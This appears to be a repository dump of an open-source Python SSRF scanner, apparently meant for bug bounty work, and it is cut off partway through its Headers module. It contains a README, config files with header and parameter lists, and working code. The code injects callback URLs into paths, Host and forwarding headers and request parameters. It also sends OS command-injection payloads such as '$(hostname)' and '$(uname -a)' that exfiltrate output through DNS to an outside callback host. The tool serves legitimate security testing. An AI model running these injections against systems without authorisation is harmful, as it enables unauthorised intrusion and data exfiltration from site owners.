├── .gitignore
├── README.md
├── config
├── cookie-jar.txt
├── http-headers.txt
├── parameters.txt
├── static-request-headers.txt
└── urls-to-test.txt
├── example.app-settings.conf
├── extended-ssrf-search.py
└── inc
├── Callback.py
├── Clean.py
├── Color.py
├── Config.py
├── Connection.py
├── Headers.py
├── HttpParameter.py
├── Tests.py
├── Worker.py
└── __init__.py
/.gitignore:
--------------------------------------------------------------------------------
1 | .git
2 | .idea
3 | venv
4 | app-settings.conf
5 | config.live
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Extended ssrf search
2 |
3 | This tool search for SSRF using predefined settings in different parts of a request (path, host, headers, post and get parameters).
4 |
5 | ## First step
6 |
7 | Rename __example.app-settings.conf__ to __app-settings.conf__ and adjust settings. The most important setting is the callback url. I
8 | recommend to use burp collaborator.
9 | Then you can add your urls to config/url-to-test.txt. Here the script accepts domains as well as urls with path and query parameters.
10 | If you like you can add your own cookies to config/cookie-jar.txt and add additional headers for your requests. The brute force list
11 | which is used in post and get requests is currently small, I dont thing adding 2000 parameters is smart. We should focus on those
12 | which have the highest possibility to be vulnerable. If you don't think so: just add your own!
13 |
14 | ## Execution
15 |
16 | This tool does not expect any argument via CLI, so just type:
17 | ```
18 | python3 extended-ssrf-search.py
19 | ```
20 |
21 | ## Configuration
22 |
23 | Its possible to set a lot of options and settings, so here are some explanations.
24 |
25 | ### Files
26 |
27 | The main config file is the "app-settings.conf", everything has to be done in that file! Besides that, there are some
28 | other files which allow to set more complex data like headers, urls and cookies.
29 |
30 | __config/cookie-jar.txt__
31 |
32 | Use this file to add a cookie string. I usually copy the one which you can see in every burp request. Please just copy the
33 | value of the "Cookie:"-header. A sample input is in the default file.
34 |
35 | __config/http-headers.txt__
36 |
37 | This file defines the http headers which are added to the request and manipulated (payload is added to each one). The
38 | most important ones are already in the file. But feel free to add more.
39 |
40 | __config/parameters.txt__
41 |
42 | The tool has the option to brute force get and post parameters. In that case those parameters (+ those in the query string)
43 | will be used. Each parameter gets the payload as value. Most important are already in that file.
44 |
45 | __config/static-request-headers.txt__
46 |
47 | Those headers are added to every request, but they won't get manipulated. They are static. Thats the best place to add
48 | authorization or bearer cookies. One (Key: Value) per line!
49 |
50 | __config/urls-to-test.txt__
51 |
52 | Thats the file you need! Please add here your links to scan. The following formats are allowed:
53 |
54 | * https://domain.com
55 | * https://domain.com/path
56 | * https://domain.com/path?param=value¶m1=value1
57 | * domain.com
58 |
59 | When the last case is detected an "http://" is prepended. This tool is intended to work with a good list of urls.
60 | A good way to get one is to just export it using burp. Then you have a valid list of urls. All you need to do ist to just
61 | add your cookies.
62 |
63 | ### Settings
64 |
65 | The app-settings.conf defines the program workflow. Its the most important file, you can activate/deactivate different
66 | modules there.
67 |
68 | #### Basic settings
69 |
70 | __CallbackHost__
71 |
72 | The url/host which all dns and http requests are send back - I mostly use burp collaborator here, but DNSBin or you own
73 | server is also perfect.
74 |
75 | __HTTPMethod__
76 |
77 | Defines the request method. Valid options are: GET, POST, PUT, DELETE, PATCH, GET, OPTIONS
78 | Invalid values will produce massiv errors since http.client disallows other methods! I dont check
79 | if you did something wrong here ;)
80 |
81 | __HTTPTimeout__
82 |
83 | Some requests can take long. Here you can define the max. execution time of one request. I recommend values
84 | between 2 and 6 seconds.
85 |
86 | __MaxThreads__
87 |
88 | The more threads, the faster the script is - but since we are dealing with a lot of connections I usually keep this below
89 | 10 on my personal computer and around 30 on my VPS.
90 |
91 | __ShuffleTests__
92 |
93 | Especially when dealing with a BIG list of urls having this set to "true" will shuffle all created tests. That way the same host
94 | will not get hit that much. If you scan just one host, than it doesn't matter.
95 |
96 | __GetChunkSize__
97 |
98 | When working with bigger param lists this might be handy and prevent 400 too large entity errors.
99 |
100 | #### Insertion points
101 |
102 | Each insertion point can be activated (set to true/1) or deactivated (set to false/0)
103 |
104 | __InPath__
105 |
106 | The example shows a GET request, but depending on your settings, this could also be
107 | POST, PUT, DELETE, ...
108 |
109 | ```
110 | GET [INJECT HERE PAYLOAD] HTTP/1.1
111 | ...
112 | ```
113 |
114 | __InHost__
115 |
116 | The example shows a GET request, but depending on your settings, this could also be
117 | POST, PUT, DELETE, ...
118 |
119 | ```
120 | GET /path HTTP/1.1
121 | Host: [INJECT HERE PAYLOAD]
122 | ...
123 | ```
124 |
125 | __InAdditionalHeaders__
126 |
127 | The example shows a GET request, but depending on your settings, this could also be
128 | POST, PUT, DELETE, ...
129 |
130 | ```
131 | GET /path HTTP/1.1
132 | ...
133 | X-Forwarded-For: [INJECT HERE PAYLOAD]
134 | ```
135 |
136 | __InParamsGet__
137 |
138 | Here the Method is fixed to GET.
139 |
140 | ```
141 | GET /path?[INJECT HERE PAYLOAD] HTTP/1.1
142 | ...
143 | ```
144 |
145 | __InParamsPost__
146 |
147 | Here the Method is fixed to POST.
148 |
149 | ```
150 | POST /path HTTP/1.1
151 | ...
152 | Content-Type: application/x-www-form-urlencoded
153 | Content-Length: XXX
154 |
155 | [INJECT HERE PAYLOAD]
156 | ```
157 |
158 | __InParamsPostAsJson__
159 |
160 | Here the Method is fixed to POST.
161 |
162 | ```
163 | POST /path HTTP/1.1
164 | ...
165 | Content-Type: application/json
166 | Content-Length: XXX
167 |
168 | [INJECT HERE JSON-PAYLOAD]
169 | ```
170 |
171 | #### Attacks
172 |
173 | In the default settings this tool just tries to trigger http requests via SSRF. But its also possible to exfiltrate data
174 | using DNS, when an OS command is injected. The most common payload is "$(hostname)". There are some options
175 | which allow to use this kind of attack additionally.
176 |
177 | __UseExecPayload__
178 |
179 | Using this setting you can activate/deactivate that behaviour.
180 |
181 | __ExecPayload__
182 |
183 | Here you can define your own payload, e.g. $(uname -a)
184 |
185 | #### Identifier
186 |
187 | To make the identification a little bit easier a combination of current host and method (in short form, see Tests.py) is
188 | appended or prepended to the payload.
189 |
190 | __Position__
191 |
192 | Valid options are "append" and "prepend"!
193 |
194 | If "append" is chosen, the payloads look like this:
195 |
196 | ```
197 | ....burpcollaborator.net/www.attacked-domain.com-testmethod
198 | http://....burpcollaborator.net/www.attacked-domain.com-testmethod
199 | ```
200 |
201 | If "prepend" is chosen, the payloads look like this:
202 |
203 | ```
204 | www.attacked-domain.com-testmethod.burpcollaborator.net
205 | http://www.attacked-domain.com-testmethod.burpcollaborator.net/
206 | ```
207 |
208 | #### Tunneling
209 |
210 | Its also possible to use a tunnel, e.g. "127.0.0.1:8080" (Burp Proxy), to monitor all traffic within Burp.
211 |
212 | __Active__
213 |
214 | Setting this to "true" will force the script to use a tunneled connection.
215 |
216 | __Tunnel__
217 |
218 | Set here your proxy server "ip:port".
219 |
220 | The result is the following one, when you open Burp you can watch your http history:
221 |
222 | 
223 |
224 | ## Screenshot
225 |
226 | 
227 |
228 | ## Feature requests
229 |
230 | Please just create an issue and tag it as a feature request.
231 |
232 | ## Support
233 |
234 | Do you like that tool? Did it help you to get a bounty? Want to give something back/support me? Why not!
235 |
236 | #### Donate via PayPal: CLICK
237 |
238 |
--------------------------------------------------------------------------------
/config/cookie-jar.txt:
--------------------------------------------------------------------------------
1 | examplecookie=31337; testcookie=1; authcookie=1337
--------------------------------------------------------------------------------
/config/http-headers.txt:
--------------------------------------------------------------------------------
1 | HTTP_FORWARDED
2 | HTTP_CLIENT_IP
3 | HTTP_FORWARDED_FOR
4 | HTTP_X_FORWARDED
5 | HTTP_X_FORWARDED_FOR
6 | X-Originating-IP
7 | X-Forwarded-For
8 | X-Remote-IP
9 | X-Remote-Addr
10 | X-Client-IP
11 | WL-Proxy-Client-IP
12 | Z-Forwarded-For
13 | Source-IP
14 | True-Client-IP
15 | X-Real-IP
--------------------------------------------------------------------------------
/config/parameters.txt:
--------------------------------------------------------------------------------
1 | token
2 | redirecturl
3 | parse
4 | u
5 | f
6 | query
7 | dest
8 | redirect
9 | uri
10 | path
11 | continue
12 | url
13 | window
14 | next
15 | data
16 | reference
17 | site
18 | html
19 | val
20 | validate
21 | domain
22 | callback
23 | return
24 | page
25 | view
26 | dir
27 | show
28 | file
29 | document
30 | folder
31 | root
32 | path
33 | pg
34 | style
35 | php_path
36 | doc
37 | feed
38 | host
39 | port
40 | to
41 | out
--------------------------------------------------------------------------------
/config/static-request-headers.txt:
--------------------------------------------------------------------------------
1 | Content-Type: text/html
2 | Accept: */*
--------------------------------------------------------------------------------
/config/urls-to-test.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Damian89/extended-ssrf-search/680f815c47350eeb5f735ce37b297c4e77bd91e0/config/urls-to-test.txt
--------------------------------------------------------------------------------
/example.app-settings.conf:
--------------------------------------------------------------------------------
1 | [default]
2 | # You can use burp collaborator, DNSBin or your own server
3 | CallbackHost = XXXXXXXXXXXXXXXXXX
4 |
5 | # Allowed methods: GET, POST, PUT, DELETE, PATCH, GET, OPTIONS
6 | HTTPMethod = HEAD
7 |
8 | # Maximum time in seconds till timeout
9 | HTTPTimeOut = 10
10 |
11 | # Max thread count
12 | MaxThreads = 5
13 |
14 | # Shuffle created test cases (recommended)
15 | ShuffleTests = true
16 |
17 | # Seconds to sleep before testing begins
18 | SleepBeforeTesting = 5
19 |
20 | # Max parameters per chunk, especially when working with a lot of params
21 | GetChunkSize = 35
22 |
23 | [insertion-points]
24 | InPath = true
25 | InParamsPost = true
26 | InParamsPostAsJson = true
27 | InParamsGet = true
28 | InAdditionalHeaders = true
29 | InHost = true
30 |
31 | [attacks]
32 | UseExecPayload = true
33 | ExecPayload = $(hostname)
34 |
35 | [identifier]
36 | # "prepend" or "append"
37 | Position = append
38 |
39 | [tunneling]
40 | Active = false
41 | Tunnel = 127.0.0.1:8080
42 |
43 | [files]
44 | Cookies = config/cookie-jar.txt
45 | HttpHeaders = config/http-headers.txt
46 | StaticHeaders = config/static-request-headers.txt
47 | Parameters = config/parameters.txt
48 | Urls = config/urls-to-test.txt
49 |
50 |
51 |
--------------------------------------------------------------------------------
/extended-ssrf-search.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # -*- coding: utf-8 -*-
4 | # This program is free software; you can redistribute it and/or modify
5 | # it under the terms of the GNU General Public License as published by
6 | # the Free Software Foundation; either version 2 of the License, or
7 | # (at your option) any later version.
8 | #
9 | # This program is distributed in the hope that it will be useful,
10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | # GNU General Public License for more details.
13 | #
14 | # You should have received a copy of the GNU General Public License
15 | # along with this program; if not, write to the Free Software
16 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
17 | # MA 02110-1301, USA.
18 | #
19 | # Author: Damian Schwyrz
20 |
21 | import sys
22 |
23 | if sys.version_info < (3, 0):
24 | sys.stdout.write("Sorry, requires Python 3.x\n")
25 | sys.exit(1)
26 |
27 | import ssl
28 | import queue
29 | import time
30 |
31 | from inc.Config import *
32 | from inc.Tests import *
33 | from inc.Worker import *
34 | from inc.Color import *
35 |
36 | ssl._create_default_https_context = ssl._create_unverified_context
37 |
38 |
39 | def main():
40 | config = Config()
41 | config.show_summary()
42 |
43 | print("{} Starting to prepare tests...".format(
44 | Color.green("[ i ]")
45 | ))
46 |
47 | tests = Tests(config).tests
48 |
49 | print("{} Finished preparing...".format(
50 | Color.green("[ i ]")
51 | ))
52 |
53 | print("{} Waiting {} seconds... enough time to kill it, if thats too many requests ;)".format(
54 | Color.green("[ i ]"),
55 | config.sleep_before_testing)
56 | )
57 |
58 | time.sleep(config.sleep_before_testing)
59 |
60 | queue_all = queue.Queue()
61 |
62 | threads = []
63 |
64 | for workerIterator in range(0, config.max_threads):
65 | print("{} Worker {} started...".format(
66 | Color.green("[ i ]"),
67 | workerIterator
68 | ))
69 |
70 | worker = Worker(config, queue_all, workerIterator)
71 |
72 | worker.setDaemon(True)
73 |
74 | worker.start()
75 |
76 | threads.append(worker)
77 |
78 | for data in tests:
79 | queue_all.put(data)
80 |
81 | for item in threads:
82 | item.join()
83 |
84 |
85 | if __name__ == "__main__":
86 | main()
87 |
--------------------------------------------------------------------------------
/inc/Callback.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This program is free software; you can redistribute it and/or modify
3 | # it under the terms of the GNU General Public License as published by
4 | # the Free Software Foundation; either version 2 of the License, or
5 | # (at your option) any later version.
6 | #
7 | # This program is distributed in the hope that it will be useful,
8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | # GNU General Public License for more details.
11 | #
12 | # You should have received a copy of the GNU General Public License
13 | # along with this program; if not, write to the Free Software
14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
15 | # MA 02110-1301, USA.
16 | #
17 | # Author: Damian Schwyrz
18 |
19 |
20 | class Callback:
21 |
22 | def __init__(self, url, config, case, type):
23 | self.url = url
24 | self.config = config
25 | self.case = case
26 | self.type = type
27 | self.hostname = ""
28 | self.result = ""
29 | self.name = ""
30 |
31 | def make(self):
32 | if self.case is "http":
33 | self.__make_http_callback_url()
34 |
35 | if self.case is "dns":
36 | self.__make_dns_callback()
37 |
38 | def __make_dns_callback(self):
39 |
40 | if self.type == "default":
41 | self.result = "{}-{}.{}".format(self.name, self.hostname, self.config.callback)
42 | return
43 |
44 | if self.type == "exec":
45 | self.result = "{}.{}-{}.{}".format(self.config.attack_exec_payload, self.name, self.hostname,
46 | self.config.callback)
47 | return
48 |
49 | def __make_http_callback_url(self):
50 |
51 | if self.type == "default" and self.config.identifier_position == "prepend":
52 | self.result = "http://{}-{}.{}".format(self.name, self.hostname, self.config.callback)
53 |
54 | return
55 |
56 | if self.type == "default" and self.config.identifier_position == "append":
57 | self.result = "http://{}/{}-{}".format(self.config.callback, self.hostname, self.name)
58 |
59 | return
60 |
61 | if self.type == "exec":
62 | return
63 |
64 | def set_hostname(self, hostname):
65 | self.hostname = hostname
66 |
67 | def set_testname(self, name):
68 | self.name = name
69 |
--------------------------------------------------------------------------------
/inc/Clean.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This program is free software; you can redistribute it and/or modify
3 | # it under the terms of the GNU General Public License as published by
4 | # the Free Software Foundation; either version 2 of the License, or
5 | # (at your option) any later version.
6 | #
7 | # This program is distributed in the hope that it will be useful,
8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | # GNU General Public License for more details.
11 | #
12 | # You should have received a copy of the GNU General Public License
13 | # along with this program; if not, write to the Free Software
14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
15 | # MA 02110-1301, USA.
16 | #
17 | # Author: Damian Schwyrz
18 | from urllib.parse import urlparse
19 |
20 |
21 | class Clean:
22 |
23 | def __init__(self, urls):
24 | self.urls = urls
25 | self.cleaned_urls = []
26 | self.new_list = []
27 |
28 | def clean(self):
29 |
30 | self.__make_initial_urls_unique()
31 |
32 | for url in self.urls:
33 | h, p, po, q, s = self.__get_url_parts(url)
34 |
35 | params = self.__extract_params(q)
36 |
37 | new_url = self.__create_base_url_string(h, p, po, s)
38 |
39 | param_string = self.__create_sorted_param_string(params)
40 |
41 | new_url = self.__append_param_string(new_url, param_string)
42 |
43 | new_url = self.__remove_last_char_if_its_ampersand(new_url)
44 |
45 | self.new_list.append(new_url)
46 |
47 | self.__make_new_url_list_unique()
48 |
49 | self.cleaned_urls = self.new_list
50 |
51 | def __make_new_url_list_unique(self):
52 | self.new_list = list(set(self.new_list))
53 |
54 | def __remove_last_char_if_its_ampersand(self, new_url):
55 |
56 | new_url = new_url.rstrip("&")
57 |
58 | return new_url
59 |
60 | def __append_param_string(self, new_url, param_string):
61 |
62 | if param_string != "":
63 | new_url = "{}?{}".format(new_url, param_string)
64 |
65 | return new_url
66 |
67 | def __create_base_url_string(self, h, p, po, s):
68 |
69 | new_url = "{}://{}".format(s, h)
70 |
71 | if po is not None:
72 | new_url = "{}:{}".format(new_url, po)
73 |
74 | if p == "":
75 | p = "/"
76 |
77 | new_url = "{}{}".format(new_url, p)
78 |
79 | return new_url
80 |
81 | def __create_sorted_param_string(self, params):
82 |
83 | param_string = ""
84 |
85 | for value, param in enumerate(params):
86 | param_string = "{}{}={}&".format(param_string, param, value)
87 |
88 | return param_string
89 |
90 | def __extract_params(self, q):
91 |
92 | params = []
93 |
94 | if q is not "":
95 |
96 | for element in q.split("&"):
97 | params.append(element.split("=")[0])
98 |
99 | params.sort()
100 |
101 | return params
102 |
103 | def __get_url_parts(self, url):
104 |
105 | u = urlparse(url)
106 |
107 | s = u.scheme
108 |
109 | h = u.hostname
110 |
111 | po = u.port
112 |
113 | p = u.path
114 |
115 | q = u.query
116 |
117 | return h, p, po, q, s
118 |
119 | def __make_initial_urls_unique(self):
120 | self.urls = list(set(self.urls))
121 |
--------------------------------------------------------------------------------
/inc/Color.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This program is free software; you can redistribute it and/or modify
3 | # it under the terms of the GNU General Public License as published by
4 | # the Free Software Foundation; either version 2 of the License, or
5 | # (at your option) any later version.
6 | #
7 | # This program is distributed in the hope that it will be useful,
8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | # GNU General Public License for more details.
11 | #
12 | # You should have received a copy of the GNU General Public License
13 | # along with this program; if not, write to the Free Software
14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
15 | # MA 02110-1301, USA.
16 | #
17 | # Author: Damian Schwyrz
18 |
19 |
20 | class Color:
21 |
22 | @staticmethod
23 | def red(text):
24 | return "\033[31m{}\033[0m".format(text)
25 |
26 | @staticmethod
27 | def danger(text):
28 | return "\033[41m{}\033[94m\033[0m".format(text)
29 |
30 | @staticmethod
31 | def green(text):
32 | return "\033[32m{}\033[0m".format(text)
33 |
34 | @staticmethod
35 | def orange(text):
36 | return "\033[33m{}\033[0m".format(text)
37 |
--------------------------------------------------------------------------------
/inc/Config.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This program is free software; you can redistribute it and/or modify
3 | # it under the terms of the GNU General Public License as published by
4 | # the Free Software Foundation; either version 2 of the License, or
5 | # (at your option) any later version.
6 | #
7 | # This program is distributed in the hope that it will be useful,
8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | # GNU General Public License for more details.
11 | #
12 | # You should have received a copy of the GNU General Public License
13 | # along with this program; if not, write to the Free Software
14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
15 | # MA 02110-1301, USA.
16 | #
17 | # Author: Damian Schwyrz
18 |
19 | import configparser
20 | import os
21 | import sys
22 | from inc.Color import *
23 | from inc.Clean import *
24 |
25 |
26 | class Config:
27 |
28 | def __init__(self):
29 |
30 | self.config = configparser.ConfigParser()
31 | self.config.read('app-settings.conf')
32 |
33 | self.__set_set_config()
34 |
35 | self.__get_urls()
36 | self.__get_cookies()
37 | self.__get_static_headers()
38 |
39 | if self.insertion_point_use_http_headers:
40 | self.__get_http_headers()
41 |
42 | if self.insertion_point_use_getparams or self.insertion_point_use_postparams or self.insertion_point_use_postparams_as_json:
43 | self.__get_parameters()
44 |
45 | def __set_set_config(self):
46 |
47 | # Default settings
48 | self.callback = self.config["default"]["CallbackHost"]
49 | self.http_method = self.config["default"]["HTTPMethod"]
50 | self.http_timeout = int(self.config["default"]["HTTPTimeout"])
51 | self.max_threads = int(self.config["default"]["MaxThreads"])
52 | self.shuffleTests = self.config.getboolean("default", "ShuffleTests")
53 | self.sleep_before_testing = int(self.config["default"]["SleepBeforeTesting"])
54 | self.chunk_size_get = int(self.config["default"]["GetChunkSize"])
55 |
56 | # Settings regarding insertion points
57 | self.insertion_point_use_path = self.config.getboolean("insertion-points", "InPath")
58 | self.insertion_point_use_getparams = self.config.getboolean("insertion-points", "InParamsGet")
59 | self.insertion_point_use_postparams = self.config.getboolean("insertion-points", "InParamsPost")
60 | self.insertion_point_use_postparams_as_json = self.config.getboolean("insertion-points", "InParamsPostAsJson")
61 | self.insertion_point_use_http_headers = self.config.getboolean("insertion-points", "InAdditionalHeaders")
62 | self.insertion_point_use_host = self.config.getboolean("insertion-points", "InHost")
63 |
64 | # Settings regarding attack/payload
65 | self.attack_use_exec_payload = self.config.getboolean("attacks", "UseExecPayload")
66 | self.attack_exec_payload = self.config["attacks"]["ExecPayload"]
67 | self.identifier_position = self.config["identifier"]["Position"]
68 |
69 | # Tunneling
70 | self.tunneling = self.config.getboolean("tunneling", "Active")
71 | self.tunnel = self.config["tunneling"]["Tunnel"]
72 |
73 | def __get_cookies(self):
74 |
75 | file = self.config["files"]["Cookies"]
76 |
77 | if not os.path.exists(file):
78 | sys.exit("Cookie jar not found")
79 |
80 | cookies = open(file, "r").read().splitlines()
81 |
82 | cookies = ";".join([cookie.rstrip() for cookie in cookies if cookie.strip()])
83 |
84 | self.cookies = cookies
85 |
86 | def __get_parameters(self):
87 |
88 | file = self.config["files"]["Parameters"]
89 |
90 | if not os.path.exists(file):
91 | sys.exit("Param list not found")
92 |
93 | parameters = open(file, "r").read().splitlines()
94 |
95 | parameters = "\n".join([param.rstrip() for param in parameters if param.strip()])
96 |
97 | if len(parameters) == 0:
98 | sys.exit("Param list seems to be empty")
99 |
100 | self.parameters = parameters
101 |
102 | def __get_http_headers(self):
103 |
104 | file = self.config["files"]["HttpHeaders"]
105 |
106 | if not os.path.exists(file):
107 | sys.exit("Header list not found")
108 |
109 | headers = open(file, "r").read().splitlines()
110 |
111 | headers = "\n".join([header.rstrip() for header in headers if header.strip()])
112 |
113 | if len(headers) == 0:
114 | sys.exit("Header list seems to be empty")
115 |
116 | self.headers = headers
117 |
118 | def __get_static_headers(self):
119 |
120 | file = self.config["files"]["StaticHeaders"]
121 |
122 | if not os.path.exists(file):
123 | sys.exit("Static header list not found")
124 |
125 | static_headers = open(file, "r").read().splitlines()
126 |
127 | static_headers = "\n".join([header.rstrip() for header in static_headers if header.strip()])
128 |
129 | self.static_headers = static_headers
130 |
131 | def __get_urls(self):
132 |
133 | file = self.config["files"]["Urls"]
134 |
135 | if not os.path.exists(file):
136 | sys.exit("Url list not found")
137 |
138 | urls = open(file, "r").read().splitlines()
139 |
140 | urls = "\n".join([url.rstrip() for url in urls if url.strip()])
141 |
142 | if len(urls) == 0:
143 | sys.exit("Url list seems to be empty!")
144 |
145 | urls = urls.splitlines()
146 |
147 | self.original_url_count = len(urls)
148 |
149 | url_cleaner = Clean(urls)
150 | url_cleaner.clean()
151 | self.urls = url_cleaner.cleaned_urls
152 | self.cleaned_url_count = len(self.urls)
153 |
154 | def show_summary(self):
155 |
156 | if self.identifier_position == "prepend":
157 | print("{} Callback:\t\t\t%host%.{}".format(Color.orange("[ i ]"), self.callback))
158 | else:
159 | print("{} Callback:\t\t\t{}/%host%".format(Color.orange("[ i ]"), self.callback))
160 |
161 | print("{} HTTP Method:\t\t{}".format(Color.orange("[ i ]"), self.http_method))
162 | print("{} Threads:\t\t\t{}".format(Color.orange("[ i ]"), self.max_threads))
163 | print("{} HTTP Timeout:\t\t{}".format(Color.orange("[ i ]"), self.http_timeout))
164 |
165 | methods = []
166 |
167 | if self.insertion_point_use_path:
168 | methods.append("path")
169 |
170 | if self.insertion_point_use_host:
171 | methods.append("host")
172 |
173 | if self.insertion_point_use_http_headers:
174 | methods.append("headers")
175 |
176 | if self.insertion_point_use_getparams:
177 | methods.append("get-parameters")
178 |
179 | if self.insertion_point_use_postparams:
180 | methods.append("form-post-parameters")
181 |
182 | if self.insertion_point_use_postparams_as_json:
183 | methods.append("json-post-parameters")
184 |
185 | print("{} Insertion points:\t\t{}".format(
186 | Color.orange("[ i ]"),
187 | ", ".join(methods)
188 | ))
189 |
190 | if self.tunneling:
191 | print("{} Proxy server:\t\t{}".format(
192 | Color.orange("[ i ]"),
193 | self.tunnel
194 | ))
195 |
196 | if self.attack_use_exec_payload:
197 | print("{} OS command payload:\t{}".format(Color.orange("[ i ]"), self.attack_exec_payload))
198 |
199 | if self.cookies.strip() != "":
200 | print("{} Cookies used:\t\t{}".format(Color.orange("[ i ]"), self.cookies.strip()))
201 |
202 | if self.insertion_point_use_http_headers and self.headers.strip() != "":
203 | print("{} Testable headers:\t\t{}".format(
204 | Color.orange("[ i ]"),
205 | ", ".join([header for header in self.headers.splitlines()])
206 | ))
207 |
208 | if self.static_headers.strip() != "":
209 | print("{} Static headers:\t\t{}".format(
210 | Color.orange("[ i ]"),
211 | ", ".join([header for header in self.static_headers.splitlines()])
212 | ))
213 |
214 | print("{} Initial url count:\t{}".format(
215 | Color.orange("[ i ]"),
216 | self.original_url_count
217 | ))
218 |
219 | print("{} Cleaned url count:\t{}".format(
220 | Color.orange("[ i ]"),
221 | self.cleaned_url_count
222 | ))
223 |
--------------------------------------------------------------------------------
/inc/Connection.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This program is free software; you can redistribute it and/or modify
3 | # it under the terms of the GNU General Public License as published by
4 | # the Free Software Foundation; either version 2 of the License, or
5 | # (at your option) any later version.
6 | #
7 | # This program is distributed in the hope that it will be useful,
8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | # GNU General Public License for more details.
11 | #
12 | # You should have received a copy of the GNU General Public License
13 | # along with this program; if not, write to the Free Software
14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
15 | # MA 02110-1301, USA.
16 | #
17 | # Author: Damian Schwyrz
18 |
19 | import http.client
20 |
21 |
22 | class Connection:
23 |
24 | def __init__(self, config, data):
25 | self.config = config
26 | self.data = data
27 | self.response = ""
28 |
29 | def connect(self):
30 | if self.config.tunneling:
31 | self.__tunneled_connection()
32 | else:
33 | self.__regular_connection()
34 |
35 | def __regular_connection(self):
36 |
37 | port = self.__get_port()
38 |
39 | if "https" in self.data["url"]:
40 | connection = http.client.HTTPSConnection(self.data["host"], port, timeout=self.config.http_timeout)
41 | else:
42 | connection = http.client.HTTPConnection(self.data["host"], port, timeout=self.config.http_timeout)
43 |
44 | connection.request(
45 | self.data["method"].upper(),
46 | self.data["path"],
47 | self.data["body"],
48 | self.data["headers"]
49 | )
50 |
51 | self.response = connection.getresponse()
52 |
53 | connection.close()
54 |
55 | def __tunneled_connection(self):
56 |
57 | if "https" in self.data["url"]:
58 | connection = http.client.HTTPSConnection(self.config.tunnel, timeout=self.config.http_timeout)
59 | else:
60 | connection = http.client.HTTPConnection(self.config.tunnel, timeout=self.config.http_timeout)
61 |
62 | port = self.__get_port()
63 |
64 | connection.set_tunnel(self.data["host"], port)
65 |
66 | body = self.data["body"]
67 |
68 | if self.data["body"].strip() == "":
69 | body = None
70 |
71 | connection.request(
72 | self.data["method"].upper(),
73 | self.data["path"],
74 | body,
75 | self.data["headers"]
76 | )
77 |
78 | self.response = connection.getresponse()
79 |
80 | connection.close()
81 |
82 | def __get_port(self):
83 | port = self.data["port"]
84 | if port is None and "https" in self.data["url"]:
85 | port = 443
86 | if port is None and "http" in self.data["url"]:
87 | port = 80
88 | return port
89 |
--------------------------------------------------------------------------------
/inc/Headers.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This program is free software; you can redistribute it and/or modify
3 | # it under the terms of the GNU General Public License as published by
4 | # the Free Software Foundation; either version 2 of the License, or
5 | # (at your option) any later version.
6 | #
7 | # This program is distributed in the hope that it will be useful,
8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | # GNU General Public License for more details.
11 | #
12 | # You should have received a copy of the GNU General Public License
13 | # along with this program; if not, write to the Free Software
14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
15 | # MA 02110-1301, USA.
16 | #
17 | # Author: Damian Schwyrz
18 | import random
19 |
20 |
21 | class Headers:
22 |
23 | def __init__(self, config):
24 |
25 | self.config = config
26 | self.headers = {}
27 |
28 | def add_static_headers(self):
29 |
30 | headers = self.config.static_headers.splitlines()
31 |
32 | for header_string in headers:
33 | name, value = header_string.split(":")[0], header_string.split(":")[1]
34 |
35 | self.headers[name] = value.strip()
36 |
37 | def add_user_defined_headers(self, callback):
38 |
39 | headers = self.config.headers.splitlines()
40 |
41 | for header in headers:
42 | self.headers[header] = callback
43 |
44 | def set(self, name, value):
45 |
46 | self.headers[name] = value
47 |
48 | def reset(self):
49 |
50 | self.headers = {}
51 |
52 | def make(self):
53 |
54 | return self.headers
55 |
56 | def get_random_user_agent(self):
57 |
58 | ua = [
59 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
60 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
61 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
62 | "Mozilla/5.0 (X11; Linux i686; rv:64.0) Gecko/20100101 Firefox/64.0",
63 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0",
64 | "Mozilla/5.0 (X11; Linux i586; rv:63.0) Gecko/20100101 Firefox/63.0",
65 | "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0",
